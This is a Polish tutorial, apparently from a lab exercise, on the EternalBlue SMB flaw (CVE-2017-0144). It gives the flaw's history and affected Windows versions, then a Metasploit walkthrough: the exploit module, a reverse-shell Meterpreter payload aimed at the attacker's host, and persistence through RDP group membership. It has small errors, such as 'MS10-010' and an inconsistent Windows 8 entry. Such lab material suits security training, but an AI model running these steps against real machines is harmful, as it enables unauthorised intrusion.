EternalBlue CVE-2017-0144

EternalBlue to exploit komputerowy opracowany przez Narodową Agencję Bezpieczeństwa Stanów Zjednoczonych NSA. Został on ujawniony przez grupę hakerów Shadow Brokers 14 kwietnia 2017 roku, miesiąc po tym, jak Microsoft wydał łatki na tę podatność.

EternalBlue wykorzystuje podatność w implementacji protokołu Server Message Block SMB przez Microsoft. Podatność ta jest oznaczona wpisem CVE-2017-0144 w katalogu Common Vulnerabilities and Exposures CVE. Istnieje ona, ponieważ serwer SMB wersji 1 SMBv1 w różnych wersjach systemu Windows nieprawidłowo obsługuje specjalnie przygotowane pakiety od zdalnych atakujących, co pozwala im na zdalne wykonanie kodu na komputerze docelowym.

NSA nie poinformowała Microsoftu o podatnościach, trzymając je w tajemnicy przez ponad pięć lat, zanim wyciek zmusił agencję do działania. NSA ostrzegła Microsoft po tym, jak dowiedziała się o możliwej kradzieży EternalBlue, co pozwoliło firmie przygotować łatkę oprogramowania wydaną w marcu 2017 roku.

12 maja 2017 roku, globalny atak ransomware WannaCry wykorzystał tę podatność do ataku na niezaktualizowane komputery. 27 czerwca 2017 roku exploit został ponownie wykorzystany do przeprowadzenia cyberataku NotPetya na więcej niezaktualizowanych komputerów.

W maju 2019 roku miasto Baltimore zmagało się z cyberatakiem przez cyfrowych szantażystów; atak zamarzł tysiące komputerów, wyłączył e-mail i zakłócił sprzedaż nieruchomości, rachunki za wodę, alerty zdrowotne i wiele innych usług.

EternalBlue był jednym z kilku exploitów użytych w połączeniu z narzędziem do implantacji backdoorów DoublePulsar w wykonaniu ataków WannaCry w 2017 roku.

EternalBlue był również wykorzystywany w innych rodzajach złośliwego oprogramowania, w tym w trojanach bankowych i innych narzędziach ransomware. Jego wpływ był tak rozległy, że nawet po latach od wycieku i udostępnienia łatek, wiele systemów pozostało podatnych, co skutkowało kontynuacją ataków i poważnymi stratami finansowymi dla dotkniętych organizacji.

W odpowiedzi na krytykę, Microsoft wskazał na strategię NSA polegającą na gromadzeniu informacji o podatnościach zamiast ich ujawnianiu, co uniemożliwiło firmie szybką reakcję na zagrożenie. Z drugiej strony, krytycy wskazywali również na Microsoft za to, że początkowo ograniczył dystrybucję łatek do nowszych wersji Windows i klientów płacących za drogie kontrakty wsparcia, co pozostawiło wiele organizacji, w tym NHS w Wielkiej Brytanii, narażonych na ataki WannaCry.

Podatne systemy

  1. Windows Server 2008
  2. Windows 7
  3. Windows Server 2008 R2
  4. Windows 8
  5. Windows Server 2012
  6. Windows 8.1
  7. Windows Server 2012 R2
  8. Windows 10
  9. Windows Server 2016

Warto zauważyć, że Windows XP, Windows Server 2003 i Windows 8 nie były początkowo uwzględnione w liście systemów, dla których Microsoft wydał łatki, ponieważ w momencie odkrycia podatności te systemy nie były już wspierane. Jednakże, ze względu na powagę ataku ransomware WannaCry i inne zagrożenia wykorzystujące tę podatność, Microsoft podjął niespotykany krok wydania łatek bezpieczeństwa również dla tych starszych i niewspieranych już systemów operacyjnych.

Użytkownicy, którzy zaktualizowali swoje systemy operacyjne po wydaniu łatek w marcu 2017 roku, byli chronieni przed atakami wykorzystującymi EternalBlue. Jednakże, wiele systemów nie zostało zaktualizowanych, co doprowadziło do szeroko zakrojonych infekcji ransomware w maju 2017 roku.

Ok. W takim razie przetestujmy tego exploita. 🙂

  1. Instalacja Metasploit:
    • Metasploit jest dostępny w wersji Pro oraz Framework. Framework jest darmowy i otwartoźródłowy, a Pro jest komercyjną wersją z dodatkowymi funkcjami.
    • Możesz zainstalować Metasploit na systemach Linux, Windows oraz macOS.
  2. Uruchomienie Metasploit:
    • W systemie Linux często wystarczy wpisać msfconsole w terminalu, aby uruchomić główną konsolę Metasploit.
  3. Znalezienie odpowiedniego modułu exploit:
    • Użyj polecenia search w msfconsole, aby znaleźć odpowiedni moduł exploit dla znanej podatności.
    • Na przykład: search ms17_010 znajdzie moduły związane z podatnością EternalBlue.
  4. Wybór i konfiguracja modułu exploit:
    • Użyj polecenia use aby wybrać moduł, np. use exploit/windows/smb/ms17_010_eternalblue.
    • Skonfiguruj opcje modułu za pomocą polecenia set, np. set RHOSTS 10.10.175.67 aby ustawić adres IP ofiary.
  5. Wybór payloadu:
    • Payload to kod, który będzie wykonany na celu po udanym wykorzystaniu podatności.
    • Użyj polecenia set payload, aby wybrać odpowiedni payload, np. set payload windows/x64/meterpreter/reverse_tcp.
  6. Dodatkowa konfiguracja payloadu:
    • Ustaw opcje dla payloadu, takie jak LHOST, który jest adresem IP maszyny atakującego.
    • set lhost 10.14.33.119
  7. Uruchomienie exploitu:
    • Użyj polecenia exploit lub run, aby uruchomić exploit.
  8. Interakcja z sesją Meterpreter:
    • Jeśli exploit się powiedzie i payload zostanie uruchomiony, możesz uzyskać sesję Meterpreter, która jest zaawansowanym payloadem zapewniającym interaktywną powłokę.

Uruchamiamy nmap i skanujemy nasz cel aby zidentyfikować jakie usługi nasłuchują oraz z jakim systemem do czynienia.

Teraz uruchamiamy konsolę Metasploit i szukamy naszego exploita MS10-010

Po wybraniu exploita zaczynamy jego konfiguracje.

set RHOSTS 10.10.175.67

set payload windows/x64/meterpreter/reverse_tcp

set lhost 10.14.33.119

Teraz czekamy na wykonanie exploita oraz na połączenie, może zdarzyć się że za pierwszym razem się nie uda trzeba spróbować jeszcze raz.

Po udanym połączeniu otrzymujemy połączenie z hostem na którym możemy już wykonywać polecenia.

Teraz możemy sprawdzić na jakim użytkowniku jesteśmy zalogowani oraz listę użytkowników.

Spróbujmy dodać naszego użytkownika do grupy „Remote Desktop users” co powinno nam pozwolić na połączenie ze zdalnym pulpitem RDP.

Teraz sprawdzamy informacje o naszym użytkowniku.

Teraz sorbujmy się połączyć z naszym przejętym hostem wykorzystując połączenie RDP.

A teraz voila! Mamy to! 🙂